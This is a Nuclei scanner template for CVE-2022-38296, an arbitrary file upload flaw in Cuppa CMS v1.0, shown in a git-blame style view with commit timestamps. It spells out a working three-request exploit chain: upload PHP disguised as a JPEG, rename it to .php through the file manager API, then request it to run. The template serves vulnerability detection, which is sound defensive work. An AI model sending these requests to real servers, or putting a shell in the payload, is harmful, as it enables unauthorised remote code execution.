2023-04-21 08:56:01 +00:00
|
|
|
id: CVE-2022-38296
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Cuppa CMS v1.0 - Arbitrary File Upload
|
|
|
|
author: theamanrawat
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
|
2023-04-21 08:56:01 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/CuppaCMS/CuppaCMS
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-38296
|
2024-06-07 10:04:29 +00:00
|
|
|
- https://github.com/ARPSyndicate/cvemon
|
2023-04-21 08:56:01 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2022-38296
|
|
|
|
cwe-id: CWE-434
|
2024-06-07 10:04:29 +00:00
|
|
|
epss-score: 0.03924
|
|
|
|
epss-percentile: 0.9198
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
|
2023-04-21 08:56:01 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: cuppacms
|
|
|
|
product: cuppacms
|
2023-12-05 09:50:33 +00:00
|
|
|
tags: cve,cve2022,rce,cuppa,intrusive,cuppacms
|
2023-04-21 08:56:01 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-04-21 08:56:01 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /js/jquery_file_upload/server/php/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="path"
|
|
|
|
|
|
|
|
/
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="unique_name"
|
|
|
|
|
|
|
|
true
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="resize_width"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="resize_height"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="crop"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="compress"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI
|
|
|
|
Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg"
|
|
|
|
Content-Type: image/jpeg
|
|
|
|
|
|
|
|
<?php
|
|
|
|
|
|
|
|
echo md5("CVE-2022-38296");
|
|
|
|
|
|
|
|
?>
|
|
|
|
------WebKitFormBoundary9MZjlIG8fVPjrlCI--
|
|
|
|
- |
|
|
|
|
POST /js/filemanager/api/index.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"}
|
|
|
|
- |
|
|
|
|
GET /media/{{randstr}}.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body_3
|
|
|
|
words:
|
2023-07-11 19:49:27 +00:00
|
|
|
- ed6bf8b1b4b8e64836455fe32b958c2c
|
2023-04-21 08:56:01 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header_3
|
|
|
|
words:
|
2023-07-11 19:49:27 +00:00
|
|
|
- text/html
|
2023-04-21 08:56:01 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: filename
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '"name":"(.*?)",'
|
|
|
|
internal: true
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4a0a00473045022100dc8338d9ea242af547d5c1dfa18e6c90d9b8bebd788ff15530edc7b9a4680c7f0220031345ad1f61f0eb0d287e0c569622169a748149c78cab4839b36400ab0ccda9:922c64590222798bb761d5b6d8e72950
|